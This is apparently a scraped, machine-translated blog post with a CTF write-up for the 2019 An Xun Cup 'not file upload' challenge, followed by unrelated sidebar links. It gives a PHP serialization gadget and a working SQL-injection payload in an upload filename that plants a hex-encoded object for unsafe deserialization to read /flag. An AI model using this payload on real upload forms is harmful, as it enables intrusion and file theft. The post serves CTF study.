当前位置:网站首页>[an Xun cup 2019] not file upload
[an Xun cup 2019] not file upload
2022-07-05 03:38:00 【paidx0】
buu Gave the source code link , Go to the source code directly
Take a brief look at , It means uploading pictures , If helper Save pictures in serialized form , So in show Can be deserialized
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
Then because the variable attribute is protected You need to add... Before the variable name \x00*\x00 Variable name ,private Is to add \x00 Class name \x00 Variable name
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
So I use \0\0\0 To fill in ,show It will be replaced before deserialization
//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL sentence
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title This is controllable , Single quote closure
//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg
边栏推荐
- Necessary fonts for designers
- 001 chip test
- Why are there fewer and fewer good products produced by big Internet companies such as Tencent and Alibaba?
- An elegant program for Euclid‘s algorithm
- How rem is used
- Usage scenarios and solutions of ledger sharing
- Mongodb common commands
- Machine learning experiment report 1 - linear model, decision tree, neural network part
- IPv6 experiment
- [luat-air105] 4.1 file system FS
猜你喜欢
Share the newly released web application development framework based on blazor Technology
[groovy] string (string splicing | multi line string)
程序员的视力怎么样? | 每日趣闻
Why do some programmers change careers before they are 30?
A brief introduction to the behavior tree of unity AI
The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
[groovy] loop control (number injection function implements loop | times function | upto function | downto function | step function | closure can be written outside as the final parameter)
Talk about the SQL server version of DTM sub transaction barrier function
[2022 repair version] community scanning code into group activity code to drain the complete operation source code / connect the contract free payment interface / promote the normal binding of subordi
Azkaban actual combat
随机推荐
Leetcode92. reverse linked list II
Anchor free series network yolox source code line by line explanation four (a total of ten, ensure line by line explanation, after reading, you can change the network at will, not just as a participan
SQL performance optimization skills
英语必备词汇3400
De debugging (set the main thread as hidden debugging to destroy the debugging Channel & debugger detection)
Asemi rectifier bridge 2w10 parameters, 2w10 specifications, 2w10 characteristics
Use of kubesphere configuration set (configmap)
問下,這個ADB mysql支持sqlserver嗎?
Linux Installation redis
How to define a unified response object gracefully
[deep learning] deep learning reference materials
[web source code code code audit method] audit skills and tools
Cette ADB MySQL prend - elle en charge SQL Server?
Delphi free memory
[move pictures up, down, left and right through the keyboard in JS]
Is there any way to change the height of the uinavigationbar in the storyboard without using the UINavigationController?
Use UDP to send a JPEG image, and UPD will convert it into the mat format of OpenCV after receiving it
Blue Bridge Cup single chip microcomputer -- PWM pulse width modulation
[105] Baidu brain map - Online mind mapping tool
Daily question 2 12